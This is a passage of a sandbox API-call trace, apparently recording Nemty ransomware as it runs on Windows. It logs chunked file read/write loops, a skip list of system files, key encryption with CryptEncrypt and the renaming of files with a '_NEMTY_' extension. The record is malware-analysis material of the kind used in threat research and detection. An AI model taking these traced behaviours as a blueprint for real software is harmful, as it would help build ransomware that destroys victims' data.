nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.543] CloseHandle (hObject=0xffffffff) returned 0 [0126.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0126.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0126.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\init.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\init.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\init.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\init.js._nemty_kgobjgd_")) returned 0 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.543] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2=".") returned 1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="..") returned 1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="...") returned 1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="windows") returned -1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="$RECYCLE.BIN") returned 1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="rsa") returned -1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="NTDETECT.COM") returned -1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="ntldr") returned -1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="MSDOS.SYS") returned -1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="IO.SYS") returned 1 [0126.543] lstrcmpiW (lpString1="library.js", lpString2="boot.ini") returned 1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="boot.ini") returned 1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="AUTOEXEC.BAT") returned 1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="ntuser.dat") returned -1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="desktop.ini") returned 1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="CONFIG.SYS") returned 1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="RECYCLER") returned -1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="BOOTSECT.BAK") returned 1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="bootmgr") returned 1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="programdata") returned -1 [0126.544] lstrcmpiW (lpString1="library.js", lpString2="appdata") returned 1 [0126.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0126.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0126.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0126.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0126.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0126.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0126.544] Sleep (dwMilliseconds=0x5) [0126.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff12d6b0, dwHighDateTime=0x1d561e7)) [0126.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff12d6b0, dwHighDateTime=0x1d561e7)) [0126.545] GetLastError () returned 0x5 [0126.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.545] GetLastError () returned 0x5 [0126.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.545] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0126.545] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0126.545] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0126.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0126.545] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="AQWQ2exMzG5YrWAZCp464/1k2yDX93mYWC9lJiGtu7RD1nfQa/SVlkeNqf4AzZAe\r\n+QuOPSAJPWxR5AQV6ICj5tQL+0eJVvQD1SzlP5oPsB+InAO52sEceHDugUCmCjiQ\r\nW47wqYr42LicHFHXPv2/7K3GCJsX0wUgWO6PQNkjk1NBzDW4rE7oywZKo0JkyfZA\r\nDB0C/7N/5uHtX8rFs9qpz6f56Jf94uu2oKL47A5rZnSYIDMV3/Csyw01cp5nLPnx\r\nJJSIlqbVteAATmn9OemoY4HlKN7fzPE5a2g9prdJU+FuH0nnSgci1FgLoer4cDL3\r\nJ0sK0e27Bgssn571UuJPww==\r\n", pcchString=0x653e5dc) returned 1 [0126.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0126.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.546] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\library.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.546] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0126.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, 